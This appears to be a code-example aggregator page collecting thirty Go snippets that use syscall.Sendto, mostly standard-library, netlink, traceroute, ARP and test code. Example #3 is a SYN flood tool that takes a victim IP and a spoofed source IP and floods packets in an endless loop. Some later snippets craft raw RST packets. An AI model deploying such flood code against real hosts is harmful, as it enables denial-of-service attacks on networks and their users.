示例#1
0
func (k *PosixKernel) Sendto(fd co.Fd, buf co.Buf, size co.Len, flags int, sa syscall.Sockaddr, socklen co.Len) uint64 {
	msg := make([]byte, size)
	if err := buf.Unpack(msg); err != nil {
		return UINT64_MAX // FIXME
	}
	return Errno(syscall.Sendto(int(fd), msg, flags, sa))
}
示例#2
0
文件: fd_unix.go 项目: hfeeki/go
func (fd *netFD) WriteTo(p []byte, sa syscall.Sockaddr) (n int, err error) {
	fd.wio.Lock()
	defer fd.wio.Unlock()
	if err := fd.incref(false); err != nil {
		return 0, err
	}
	defer fd.decref()
	for {
		err = syscall.Sendto(fd.sysfd, p, 0, sa)
		if err == syscall.EAGAIN {
			err = errTimeout
			if fd.wdeadline >= 0 {
				if err = fd.pollServer.WaitWrite(fd); err == nil {
					continue
				}
			}
		}
		break
	}
	if err == nil {
		n = len(p)
	} else {
		err = &OpError{"write", fd.net, fd.raddr, err}
	}
	return
}
示例#3
0
文件: main.go 项目: nhooyr/dos
func main() {
	log.SetPrefix("")
	log.SetFlags(0)
	if os.Geteuid() != 0 {
		log.Fatal(errors.New("please run as root"))
	}
	fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW)
	check(err)
	if len(os.Args) < 3 {
		log.Fatal("usage: synflood <victimIP> <spoofedIP>")
	}
	raddr := net.ParseIP(os.Args[1])
	addr := syscall.SockaddrInet4{
		Port: 0,
		Addr: to4Array(raddr),
	}
	p := packet(raddr)
	switch runtime.GOOS {
	case "darwin", "dragonfly", "freebsd", "netbsd":
		// need to set explicitly
		check(syscall.SetsockoptInt(fd, syscall.IPPROTO_IP, syscall.IP_HDRINCL, 1))
		// no need to receive anything
		check(syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_RCVBUF, 1))
	case "linux":
		// no need to receive anything
		check(syscall.SetsockoptInt(fd, syscall.SOL_SOCKET, syscall.SO_RCVBUF, 0))
	}
	for {
		check(syscall.Sendto(fd, p, 0, &addr))
	}
}
示例#4
0
func (fd *netFD) WriteTo(p []byte, sa syscall.Sockaddr) (n int, err error) {
	fd.wio.Lock()
	defer fd.wio.Unlock()
	if err := fd.incref(false); err != nil {
		return 0, err
	}
	defer fd.decref()
	if err := fd.pd.PrepareWrite(); err != nil {
		return 0, &OpError{"write", fd.net, fd.raddr, err}
	}
	for {
		err = syscall.Sendto(fd.sysfd, p, 0, sa)
		if err == syscall.EAGAIN {
			if err = fd.pd.WaitWrite(); err == nil {
				continue
			}
		}
		break
	}
	if err == nil {
		n = len(p)
	} else {
		err = &OpError{"write", fd.net, fd.raddr, err}
	}
	return
}
示例#5
0
func (fd *netFD) WriteTo(p []byte, sa syscall.Sockaddr) (n int, err error) {
	if fd == nil || fd.sysfile == nil {
		return 0, os.EINVAL
	}
	fd.wio.Lock()
	defer fd.wio.Unlock()
	fd.incref()
	defer fd.decref()
	for {
		err = syscall.Sendto(fd.sysfd, p, 0, sa)
		if err == syscall.EAGAIN {
			if fd.wdeadline >= 0 {
				pollserver.WaitWrite(fd)
				continue
			}
			err = errTimeout
		}
		break
	}
	if err == nil {
		n = len(p)
	} else {
		err = &OpError{"write", fd.net, fd.raddr, err}
	}
	return
}
示例#6
0
func (fd *netFD) writeTo(p []byte, sa syscall.Sockaddr) (n int, err error) {
	if err := fd.writeLock(); err != nil {
		return 0, err
	}
	defer fd.writeUnlock()
	if err := fd.pd.prepareWrite(); err != nil {
		return 0, err
	}
	for {
		err = syscall.Sendto(fd.sysfd, p, 0, sa)
		if err == syscall.EAGAIN {
			if err = fd.pd.waitWrite(); err == nil {
				continue
			}
		}
		break
	}
	if err == nil {
		n = len(p)
	}
	if _, ok := err.(syscall.Errno); ok {
		err = os.NewSyscallError("sendto", err)
	}
	return
}
示例#7
0
func (fd *netFD) WriteTo(p []byte, sa syscall.Sockaddr) (n int, err os.Error) {
	if fd == nil || fd.sysfile == nil {
		return 0, os.EINVAL
	}
	fd.wio.Lock()
	defer fd.wio.Unlock()
	fd.incref()
	defer fd.decref()
	if fd.wdeadline_delta > 0 {
		fd.wdeadline = pollserver.Now() + fd.wdeadline_delta
	} else {
		fd.wdeadline = 0
	}
	var oserr os.Error
	for {
		errno := syscall.Sendto(fd.sysfd, p, 0, sa)
		if errno == syscall.EAGAIN && fd.wdeadline >= 0 {
			pollserver.WaitWrite(fd)
			continue
		}
		if errno != 0 {
			oserr = os.Errno(errno)
		}
		break
	}
	if oserr == nil {
		n = len(p)
	} else {
		err = &OpError{"write", fd.net, fd.raddr, oserr}
	}
	return
}
示例#8
0
// Create a tcp socket and send data on it. This uses the sendto() system call
// instead of connect() - because connect() calls does not support sending
// data in the syn packet, but the sendto() system call does (as often used in
// connectionless protocols such as udp.
func (c *TFOClient) Send() (err error) {

	c.fd, err = syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
	if err != nil {
		return
	}
	defer syscall.Close(c.fd)

	sa := &syscall.SockaddrInet4{Addr: c.ServerAddr, Port: c.ServerPort}

	// Data to appear, if an existing tcp fast open cookie is available, this
	// data will appear in the SYN packet, if not, it will appear in the ACK.
	data := []byte("Hello TCP Fast Open")

	log.Printf("Client: Sending to server: %#v\n", string(data))

	// Use the sendto() syscall, instead of connect()
	err = syscall.Sendto(c.fd, data, syscall.MSG_FASTOPEN, sa)
	if err != nil {
		if err == syscall.EOPNOTSUPP {
			err = errors.New("TCP Fast Open client support is unavailable (unsupported kernel or disabled, see /proc/sys/net/ipv4/tcp_fastopen).")
		}
		err = errors.New(fmt.Sprintf("Received error in sendTo():", err))
		return
	}

	// Note, this exists before waiting for response and is meant to illustrate
	// the use of the sendto() system call, not of a complete and proper socket
	// setup and teardown processes.

	return
}
示例#9
0
func main() {
	if len(os.Args) < 2 {
		log.Fatal("Need interface name")
	}

	iface, err := net.InterfaceByName(os.Args[1])
	if err != nil {
		log.Fatal(err)
	}

	fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, 0)
	if err != nil {
		log.Fatal(err)
	}
	defer syscall.Close(fd)

	buf := []byte{0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x55}
	err = syscall.Sendto(fd, buf, 0, &syscall.SockaddrLinklayer{Ifindex: iface.Index})
	if err != nil {
		log.Fatal("Cannot sendto:", err)
	}

	c := make(chan os.Signal, 1)
	signal.Notify(c, os.Interrupt, os.Kill)
	<-c
}
示例#10
0
func BenchmarkListenSock(b *testing.B) {
	aConn := listenUDP(udpAddr)
	bConn := listenUDP(udpAddr)

	aFile := getFile(aConn)
	bFile := getFile(bConn)

	aSockaddr, err := syscall.Getsockname(int(aFile.Fd()))
	if err != nil {
		log.Fatal(err)
	}

	src := make([]byte, bytesNum)
	io.ReadFull(rand.Reader, src)

	b.ResetTimer()
	for i := 0; i < b.N; i++ {
		err = syscall.Sendto(int(bFile.Fd()), src, 0, aSockaddr)
		if err != nil {
			b.Fatal(err)
		}
	}

	b.SetBytes(bytesNum)
}
示例#11
0
func traceOne(addr *syscall.SockaddrInet4, ttl int) *ReturnArgs {
	cli, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP)
	if err != nil {
		exitWithError(err)
	}
	srv, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP)
	if err != nil {
		exitWithError(err)
	}

	defer syscall.Close(cli)
	defer syscall.Close(srv)

	// set ttl, stolen from somewhere else...
	// https://github.com/aeden/traceroute/blob/master/traceroute.go#L195
	if err := syscall.SetsockoptInt(cli, syscall.SOL_IP, syscall.IP_TTL, ttl); err != nil {
		exitWithError(err)
	}

	// set timeout, stolen from somewhere else...
	// https://github.com/aeden/traceroute/blob/master/traceroute.go#L197
	tv := syscall.NsecToTimeval(1e6 * TIMEOUT)
	if err := syscall.SetsockoptTimeval(srv, syscall.SOL_SOCKET, syscall.SO_RCVTIMEO, &tv); err != nil {
		exitWithError(err)
	}
	if err := syscall.Bind(srv, toAddr(HOST, RECV_PORT)); err != nil {
		exitWithError(err)
	}

	rr := &ReturnArgs{}
	start := time.Now()
	if err := syscall.Sendto(cli, makeICMP(), 0, addr); err != nil {
		return rr
	}

	buf := make([]byte, 512)
	_, from, err := syscall.Recvfrom(srv, buf, 0)
	if err != nil {
		return rr
	}

	rr.elapsed = float64(time.Since(start).Nanoseconds()) / 1e6
	t, c := parseICMP(buf)
	if t == 3 && c == 3 { // Destination port unreachable, type==3 && code==3
		rr.done = true
	} else if t != 11 { // Time Exceeded, type==11 && code in (0,1)
		return rr
	}
	rr.ok = true
	rr.ip = toStr(from)
	addrs, err := net.LookupAddr(rr.ip)
	if err != nil {
		rr.addr = rr.ip
	} else {
		rr.addr = addrs[0]
	}
	return rr
}
示例#12
0
文件: nl_linux.go 项目: rossj/docker
func (s *NetlinkSocket) Send(request *NetlinkRequest) error {
	if s.fd < 0 {
		return fmt.Errorf("Send called on a closed socket")
	}
	if err := syscall.Sendto(s.fd, request.Serialize(), 0, &s.lsa); err != nil {
		return err
	}
	return nil
}
示例#13
0
文件: trace.go 项目: mag-/gtr
// Traceroute executes traceroute to given destination, using options from TracerouteOptions
// and sending updates to chan c
//
// Outbound packets are UDP packets and inbound packets are ICMP.
//
// Returns an error or nil if no error occurred
func Traceroute(dest *net.IPAddr, options *TracerouteOptions, c chan TraceUpdate) (err error) {
	var destAddr [4]byte
	copy(destAddr[:], dest.IP.To4())
	socketAddr, err := getSocketAddr()
	if err != nil {
		return
	}

	timeoutMs := (int64)(options.TimeoutMs)
	tv := syscall.NsecToTimeval(1000 * 1000 * timeoutMs)

	ttl := 1
	for {
		// Set up receiving socket
		recvSocket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP)
		if err != nil {
			log.Fatal("Cannot setup receive socket, please run as root or with CAP_NET_RAW permissions")
			return err
		}
		// Set up sending socket
		sendSocket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP)
		if err != nil {
			log.Fatal("Cannot setup sending socket")
			return err
		}

		start := time.Now()
		syscall.SetsockoptInt(sendSocket, 0x0, syscall.IP_TTL, ttl)
		syscall.SetsockoptTimeval(recvSocket, syscall.SOL_SOCKET, syscall.SO_RCVTIMEO, &tv)
		syscall.Bind(recvSocket, &syscall.SockaddrInet4{Port: options.Port, Addr: socketAddr})
		syscall.Sendto(sendSocket, []byte{0x0}, 0, &syscall.SockaddrInet4{Port: options.Port, Addr: destAddr})

		var p = make([]byte, options.PacketSize)
		n, from, err := syscall.Recvfrom(recvSocket, p, 0)
		elapsed := time.Since(start)
		if err == nil {
			currAddr := from.(*syscall.SockaddrInet4).Addr
			hop := TraceUpdate{Success: true, Address: currAddr, N: n, ElapsedTime: elapsed, TTL: ttl}
			currHost, err := net.LookupAddr(hop.addressString())
			if err == nil {
				hop.Host = currHost[0]
			}
			// Send update
			c <- hop
			ttl += 1
			// We reached the destination
			if ttl > options.MaxTTL || currAddr == destAddr {
				ttl = 1
			}
		} else {
			c <- TraceUpdate{Success: false, TTL: ttl}
			ttl += 1
		}
		syscall.Close(recvSocket)
		syscall.Close(sendSocket)
	}
}
示例#14
0
func sendRSTPacket(Maker *TCPmaker, RemoteAddr *syscall.SockaddrInet4, socket int) {
	buf := Maker.MakePacket(RST)
	SendtoErr := syscall.Sendto(socket, buf, 0, RemoteAddr)
	if SendtoErr != nil {
		fmt.Fprintf(os.Stderr, "Sendto is failed : %s \n", SendtoErr)
		return
	} else {
		fmt.Printf("Send Fin packet is ok \n")
	}
}
示例#15
0
func (w *Worker) sendPacket(buf []byte, RemoteAddr *syscall.SockaddrInet4, socket int) {
	SendtoErr := syscall.Sendto(socket, buf, 0, RemoteAddr)
	if SendtoErr != nil {
		fmt.Fprintf(os.Stderr, "Sendto is failed : %s \n", SendtoErr)
		return
	} else {
		//fmt.Printf("Sendto is ok \n")
	}

}
示例#16
0
文件: netlink.go 项目: rnd-ua/scope
func (s *NetlinkSocket) send(msg *NlMsgBuilder) (uint32, error) {
	sa := syscall.SockaddrNetlink{
		Family: syscall.AF_NETLINK,
		Pid:    0,
		Groups: 0,
	}

	data, seq := msg.Finish()
	return seq, syscall.Sendto(s.fd, data, 0, &sa)
}
示例#17
0
文件: nl.go 项目: skyportsystems/nlgo
// NlSendSimple is same with libnl nl_send_simple.
func NlSendSimple(sk *NlSock, family uint16, flags uint16, buf []byte) error {
	msg := make([]byte, syscall.NLMSG_HDRLEN+NLMSG_ALIGN(len(buf)))
	hdr := (*syscall.NlMsghdr)(unsafe.Pointer(&msg[0]))
	hdr.Type = family
	hdr.Flags = flags
	hdr.Len = syscall.NLMSG_HDRLEN + uint32(len(buf))
	copy(msg[syscall.NLMSG_HDRLEN:], buf)
	NlCompleteMsg(sk, msg)
	return syscall.Sendto(sk.Fd, msg, 0, &sk.Peer)
}
示例#18
0
func Hop(port, ttl int, IP_addr net.IP) (*Hop_ret, error) {

	ret_addr := net.IPv4(0, 0, 0, 0)
	success := false
	// make sockets
	send_udp_s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_DGRAM, syscall.IPPROTO_UDP)
	if err != nil {
		return nil, err
	}
	recv_icmp_s, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_ICMP)
	if err != nil {
		return nil, err
	}

	//editing TTL value for outgoing IPv4 packets
	if err := syscall.SetsockoptInt(send_udp_s, syscall.SOL_IP, syscall.IP_TTL, ttl); err != nil {
		return nil, err
	}
	tv := syscall.NsecToTimeval(1000 * 1000 * TIME_OUT_MS)
	syscall.SetsockoptTimeval(recv_icmp_s, syscall.SOL_SOCKET, syscall.SO_RCVTIMEO, &tv)

	defer syscall.Close(send_udp_s)
	defer syscall.Close(recv_icmp_s)

	//connect sockets
	if err := syscall.Bind(recv_icmp_s, &syscall.SockaddrInet4{Port: port, Addr: [4]byte{137, 224, 226, 47}}); err != nil {
		return nil, err
	}

	//send udp-packet
	var IP [4]byte
	copy(IP[:], IP_addr.To4())
	if err := syscall.Sendto(send_udp_s, []byte{0x42, 0x42}, 0, &syscall.SockaddrInet4{Port: 1337, Addr: IP}); err != nil {
		return nil, err
	}

	//receive ICMP
	recv_buffer := make([]byte, 4096)
	_, _, err = syscall.Recvfrom(recv_icmp_s, recv_buffer, 0)
	if err == nil {
		header, err := ipv4.ParseHeader(recv_buffer)
		if err != nil {
			log.Errorf("%q", err)
		}
		success = true
		ret_addr = header.Src
	} else {
		//time out
		success = false
		ret_addr = net.IPv4(0, 0, 0, 0)
		//log.Errorf("%q", err)
	}
	//resolve (timeout) errors, retry or return false...
	return &Hop_ret{Addr: ret_addr, TTL: ttl, success: success}, nil
}
示例#19
0
func TestReadUnixgramWithUnnamedSocket(t *testing.T) {
	if !testableNetwork("unixgram") {
		t.Skip("unixgram test")
	}
	if runtime.GOOS == "openbsd" {
		testenv.SkipFlaky(t, 15157)
	}

	addr := testUnixAddr()
	la, err := ResolveUnixAddr("unixgram", addr)
	if err != nil {
		t.Fatal(err)
	}
	c, err := ListenUnixgram("unixgram", la)
	if err != nil {
		t.Fatal(err)
	}
	defer func() {
		c.Close()
		os.Remove(addr)
	}()

	off := make(chan bool)
	data := [5]byte{1, 2, 3, 4, 5}
	go func() {
		defer func() { off <- true }()
		s, err := syscall.Socket(syscall.AF_UNIX, syscall.SOCK_DGRAM, 0)
		if err != nil {
			t.Error(err)
			return
		}
		defer syscall.Close(s)
		rsa := &syscall.SockaddrUnix{Name: addr}
		if err := syscall.Sendto(s, data[:], 0, rsa); err != nil {
			t.Error(err)
			return
		}
	}()

	<-off
	b := make([]byte, 64)
	c.SetReadDeadline(time.Now().Add(100 * time.Millisecond))
	n, from, err := c.ReadFrom(b)
	if err != nil {
		t.Fatal(err)
	}
	if from != nil {
		t.Fatalf("unexpected peer address: %v", from)
	}
	if !bytes.Equal(b[:n], data[:]) {
		t.Fatalf("got %v; want %v", b[:n], data[:])
	}
}
示例#20
0
文件: unixsock.go 项目: 8l/go-learn
// WriteToUnix writes a packet to addr via c, copying the payload from b.
//
// WriteToUnix can be made to time out and return err == os.EAGAIN
// after a fixed time limit; see SetTimeout and SetWriteTimeout.
// On packet-oriented connections such as UDP, write timeouts are rare.
func (c *UnixConn) WriteToUnix(b []byte, addr *UnixAddr) (n int, err os.Error) {
	if !c.ok() {
		return 0, os.EINVAL
	}
	if addr.Datagram != (c.fd.proto == syscall.SOCK_DGRAM) {
		return 0, os.EAFNOSUPPORT
	}
	sa := &syscall.SockaddrUnix{Name: addr.Name}
	if errno := syscall.Sendto(c.fd.fd, b, 0, sa); errno != 0 {
		return 0, os.Errno(errno)
	}
	return len(b), nil
}
示例#21
0
文件: udpsock.go 项目: 8l/go-learn
// WriteToUDP writes a UDP packet to addr via c, copying the payload from b.
//
// WriteToUDP can be made to time out and return err == os.EAGAIN
// after a fixed time limit; see SetTimeout and SetWriteTimeout.
// On packet-oriented connections such as UDP, write timeouts are rare.
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) {
	if !c.ok() {
		return 0, os.EINVAL
	}
	sa, err := addr.sockaddr(c.fd.family)
	if err != nil {
		return 0, err
	}
	if errno := syscall.Sendto(c.fd.fd, b, 0, sa); errno != 0 {
		return 0, os.Errno(errno)
	}
	return len(b), nil
}
示例#22
0
文件: gnl2go.go 项目: kobolog/gorb
func (nlSock *NLSocket) send(msg GNLMessage) error {
	data, err := SerializeNLMsg(msg.MT, msg, nlSock.PortID, nlSock.Seq)
	if err != nil {
		return err
	}
	nlSock.Seq += 1
	lsa := &syscall.SockaddrNetlink{Family: syscall.AF_NETLINK}
	err = syscall.Sendto(nlSock.Sd, data, 0, lsa)
	if err != nil {
		return err
	}
	return nil
}
示例#23
0
func sendTo(addr *net.UDPAddr, i int) {
	log.Printf("Start `sendTo` test with %d iteration\n", i)

	laddr := UDPAddrToSockaddr(&net.UDPAddr{Port: local_port, IP: net.IPv4zero})
	raddr := UDPAddrToSockaddr(addr)

	fd := connectUDP(laddr, raddr)

	payload := make([]byte, payload_sz)
	for ; i > 0; i-- {
		err := syscall.Sendto(fd, payload, syscall.MSG_DONTWAIT, raddr)
		chk(err)
	}
}
示例#24
0
func TestReadUnixgramWithUnnamedSocket(t *testing.T) {
	addr := testUnixAddr()
	la, err := ResolveUnixAddr("unixgram", addr)
	if err != nil {
		t.Fatalf("ResolveUnixAddr failed: %v", err)
	}
	c, err := ListenUnixgram("unixgram", la)
	if err != nil {
		t.Fatalf("ListenUnixgram failed: %v", err)
	}
	defer func() {
		c.Close()
		os.Remove(addr)
	}()

	off := make(chan bool)
	data := [5]byte{1, 2, 3, 4, 5}

	go func() {
		defer func() { off <- true }()
		s, err := syscall.Socket(syscall.AF_UNIX, syscall.SOCK_DGRAM, 0)
		if err != nil {
			t.Errorf("syscall.Socket failed: %v", err)
			return
		}
		defer syscall.Close(s)
		rsa := &syscall.SockaddrUnix{Name: addr}
		if err := syscall.Sendto(s, data[:], 0, rsa); err != nil {
			t.Errorf("syscall.Sendto failed: %v", err)
			return
		}
	}()

	<-off
	b := make([]byte, 64)
	c.SetReadDeadline(time.Now().Add(100 * time.Millisecond))
	n, from, err := c.ReadFrom(b)
	if err != nil {
		t.Errorf("UnixConn.ReadFrom failed: %v", err)
		return
	}
	if from != nil {
		t.Errorf("neighbor address is %v", from)
	}
	if !bytes.Equal(b[:n], data[:]) {
		t.Errorf("got %v, want %v", b[:n], data[:])
		return
	}
}
示例#25
0
func main() {
	var err error
	fd, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW)
	if err != nil {
		log.Println(err)
		panic(err)
	}
	addr := syscall.SockaddrInet4{
		Port: 0,
		Addr: [4]byte{127, 0, 0, 1},
	}
	p := pkt()
	err = syscall.Sendto(fd, p, 0, &addr)
	if err != nil {
		log.Fatal("Sendto:", err)
	}
}
示例#26
0
// Generic method for sending control messages to the connector
// driver; where op is one of PROC_CN_MCAST_{LISTEN,IGNORE}
func (listener *netlinkListener) send(op uint32) error {
	listener.seq++
	pr := &netlinkProcMessage{}
	plen := binary.Size(pr.Data) + binary.Size(op)
	pr.Header.Len = syscall.NLMSG_HDRLEN + uint32(plen)
	pr.Header.Type = uint16(syscall.NLMSG_DONE)
	pr.Header.Flags = 0
	pr.Header.Seq = listener.seq
	pr.Header.Pid = uint32(os.Getpid())

	pr.Data.Id.Idx = _CN_IDX_PROC
	pr.Data.Id.Val = _CN_VAL_PROC

	pr.Data.Len = uint16(binary.Size(op))

	buf := bytes.NewBuffer(make([]byte, 0, pr.Header.Len))
	binary.Write(buf, byteOrder, pr)
	binary.Write(buf, byteOrder, op)

	return syscall.Sendto(listener.sock, buf.Bytes(), 0, listener.addr)
}
示例#27
0
// sendARP sends the given ARP message via the specified interface.
func sendARP(iface *net.Interface, m *arpMessage) error {
	fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_DGRAM, int(htons(syscall.ETH_P_ARP)))
	if err != nil {
		return fmt.Errorf("failed to get raw socket: %v", err)
	}
	defer syscall.Close(fd)

	if err := syscall.BindToDevice(fd, iface.Name); err != nil {
		return fmt.Errorf("failed to bind to device: %v", err)
	}

	ll := syscall.SockaddrLinklayer{
		Protocol: htons(syscall.ETH_P_ARP),
		Ifindex:  iface.Index,
		Pkttype:  0, // syscall.PACKET_HOST
		Hatype:   m.hardwareType,
		Halen:    m.hardwareAddressLength,
	}
	target := ethernetBroadcast
	if m.opcode == opARPReply {
		target = m.targetHardwareAddress
	}
	for i := 0; i < len(target); i++ {
		ll.Addr[i] = target[i]
	}

	b, err := m.bytes()
	if err != nil {
		return fmt.Errorf("failed to convert ARP message: %v", err)
	}

	if err := syscall.Bind(fd, &ll); err != nil {
		return fmt.Errorf("failed to bind: %v", err)
	}
	if err := syscall.Sendto(fd, b, 0, &ll); err != nil {
		return fmt.Errorf("failed to send: %v", err)
	}

	return nil
}
示例#28
0
文件: send.go 项目: adoyee/probe
func doSendThread(conn int) {

	for data := range chanSend {

		dstIP := data.addr.IP.To4()
		if dstIP == nil {
			log.Println("send fail: no dest ip")
			continue
		}

		addr := syscall.SockaddrInet4{}
		addr.Port = 0
		addr.Addr[0], addr.Addr[1], addr.Addr[2], addr.Addr[3] = dstIP[0], dstIP[1], dstIP[2], dstIP[3]

		err := syscall.Sendto(conn, data.data, 0, &addr)

		if err != nil {
			log.Println("Send Thread ", err, data.addr.String())
			continue
		}
	}
}
示例#29
0
func (nl *NetlinkSocket) SendMessage(msg *NetlinkMessage, sockflags int, ack bool) error {
	msg.Header.Len = syscall.NLMSG_HDRLEN + uint32(len(msg.Data))
	msg.Header.Seq = nl.nextSeq()

	if ack {
		msg.Header.Flags = msg.Header.Flags | syscall.NLM_F_ACK
	}

	logf("sent: %+v\n", msg)

	err := syscall.Sendto(nl.sfd, msg.toWireFormat(), sockflags, &nl.lsa)
	if err != nil {
		return err
	}

	if ack {
		msgList, err := nl.RecvMessages(syscall.Getpagesize(), syscall.O_NONBLOCK)
		if err != nil || len(msgList) > 1 {
			return errors.New("cannot receive messages")
		}
	}

	return nil
}
示例#30
0
func (s *NetlinkSocket) Send(request *NetlinkRequest) error {
	if err := syscall.Sendto(s.fd, request.ToWireFormat(), 0, &s.lsa); err != nil {
		return err
	}
	return nil
}